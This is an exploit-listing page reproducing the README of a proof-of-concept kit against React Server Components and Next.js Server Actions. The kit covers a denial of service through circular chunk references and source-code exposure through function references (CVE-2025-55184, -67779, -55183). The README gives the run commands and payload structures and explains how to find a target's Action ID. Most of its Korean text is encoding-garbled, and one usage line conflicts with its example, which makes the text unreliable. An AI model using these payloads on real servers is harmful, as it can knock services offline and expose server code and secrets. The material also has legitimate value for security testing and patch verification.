Share
## https://sploitus.com/exploit?id=39F5BA54-CE49-5C5E-B494-A7772476A4D6
# React Server Components ์ทจ์ฝ์ ํ
์คํธ
React Server Components (RSC) ๋ฐ Next.js Server Actions์ ๋ณด์ ์ทจ์ฝ์ ์ ํ
์คํธํ๊ธฐ ์ํ PoC ์คํฌ๋ฆฝํธ ๋ชจ์์
๋๋ค.
## ์ทจ์ฝ์ ๊ฐ์
### CVE-2025-55184 / CVE-2025-67779 (DoS)
- **์ ํ**: Denial of Service (์๋น์ค ๊ฑฐ๋ถ)
- **์์ธ**: RSC ํ๋กํ ์ฝ์์ ์ํ ์ฐธ์กฐ(`$@0` โ `$@1`) ์ฒ๋ฆฌ ์ ๋ฌดํ ๋ฃจํ ๋ฐ์
- **์ํฅ**: ์๋ฒ CPU 100% ์ ์ , ์๋น์ค ์ค๋จ
- **์ทจ์ฝ ๋ฒ์ **: react-server-dom-* 19.0.0 ~ 19.2.2
### CVE-2025-55183 (Source Code Exposure)
- **์ ํ**: Information Disclosure (์ ๋ณด ๋
ธ์ถ)
- **์์ธ**: Server Function ์ฐธ์กฐ(`$F`)๋ฅผ ์ธ์๋ก ์ ๋ฌ ์ `.toString()` ํธ์ถ๋ก ์์ค ์ฝ๋ ๋
ธ์ถ
- **์ํฅ**: ์๋ฒ ์ธก ์ฝ๋, ํ๊ฒฝ ๋ณ์, ๋น๋ฐํค ๋
ธ์ถ ๊ฐ๋ฅ
- **์ทจ์ฝ ๋ฒ์ **: react-server-dom-* 19.0.0 ~ 19.2.2
## ํ์ผ ๊ตฌ์กฐ
```
vuln-test/
โโโ README.md
โโโ dos_exploit.sh # DoS ์ทจ์ฝ์ ํ
์คํธ ์คํฌ๋ฆฝํธ
โโโ code_exposure_exploit.sh # ์์ค ์ฝ๋ ๋
ธ์ถ ์ทจ์ฝ์ ํ
์คํธ ์คํฌ๋ฆฝํธ
โโโ vulnerable-rsc-app/ # ํ
์คํธ์ฉ ์ทจ์ฝ Next.js ์ฑ
```
## ์ฌ์ฉ๋ฒ
### 1. ํ
์คํธ ํ๊ฒฝ ์ค์
```bash
cd vulnerable-rsc-app
npm install
npm run dev
```
### 2. DoS ์ทจ์ฝ์ ํ
์คํธ
```bash
./dos_exploit.sh [TARGET_URL]
# ์์
./dos_exploit.sh http://localhost:3000
```
**ํ์ด๋ก๋ ๊ตฌ์กฐ:**
```
name="0": "$@1" (์ฒญํฌ 1 ์ฐธ์กฐ)
name="1": "$@0" (์ฒญํฌ 0 ์ฐธ์กฐ)
โ ์ํ ์ฐธ์กฐ๋ก ๋ฌดํ ๋ฃจํ
```
### 3. ์์ค ์ฝ๋ ๋
ธ์ถ ํ
์คํธ
```bash
./code_exposure_exploit.sh [TARGET_URL]
# ์์
./code_exposure_exploit.sh 60b5ebe42cc05bb60f77baf6199f9974b62b0053dd http://localhost:3000
```
**Action ID ์ฐพ๋ ๋ฐฉ๋ฒ:**
1. ๋ธ๋ผ์ฐ์ ๊ฐ๋ฐ์ ๋๊ตฌ โ Network ํญ
2. Server Action ํธ์ถ ์ `Next-Action` ํค๋ ๊ฐ ํ์ธ
3. ๋๋ ํ์ด์ง ์์ค์์ 40์ hex ๋ฌธ์์ด ๊ฒ์
**ํ์ด๋ก๋ ๊ตฌ์กฐ:**
```
name="1": {"id":"","bound":null} (Server Function ์ฐธ์กฐ)
name="0": ["$F1"] (์ฒญํฌ 1์ ์ธ์๋ก ์ ๋ฌ)
โ ์๋ฒ์์ ์ ๋ฌ๋ ์ธ์๋ฅผ toString()์ ๊ฐ์ด ๋ฌธ์์ด ๋ณํ ํ return์ ํฌํจ๋์์ ๋ ์์ค ์ฝ๋ ๋
ธ์ถ
```
## RSC ํ๋กํ ์ฝ ์ฐธ์กฐ ํ์
| ์ ๋์ฌ | ์๋ฏธ | ์ค๋ช
|
|--------|------|------|
| `$F` | Function Reference | Server Function ์ฐธ์กฐ |
| `$@` | Promise/Chunk Reference | ๋ค๋ฅธ ์ฒญํฌ ์ฐธ์กฐ |
| `$K` | FormData Reference | FormData ์ฒญํฌ ์ฐธ์กฐ |
| `$L` | Lazy Reference | ์ง์ฐ ๋ก๋ฉ ์ฐธ์กฐ |
## ํจ์น ๋ฒ์
- react-server-dom-webpack: 19.0.3, 19.1.4, 19.2.3
- react-server-dom-turbopack: 19.0.3, 19.1.4, 19.2.3
## ๋ฉด์ฑ
์กฐํญ
์ด ๋๊ตฌ๋ **๋ณด์ ํ
์คํธ ๋ฐ ๊ต์ก ๋ชฉ์ **์ผ๋ก๋ง ์ฌ์ฉํด์ผ ํฉ๋๋ค. ํ๊ฐ ์์ด ํ์ธ์ ์์คํ
์ ์ฌ์ฉํ๋ ๊ฒ์ ๋ถ๋ฒ์
๋๋ค.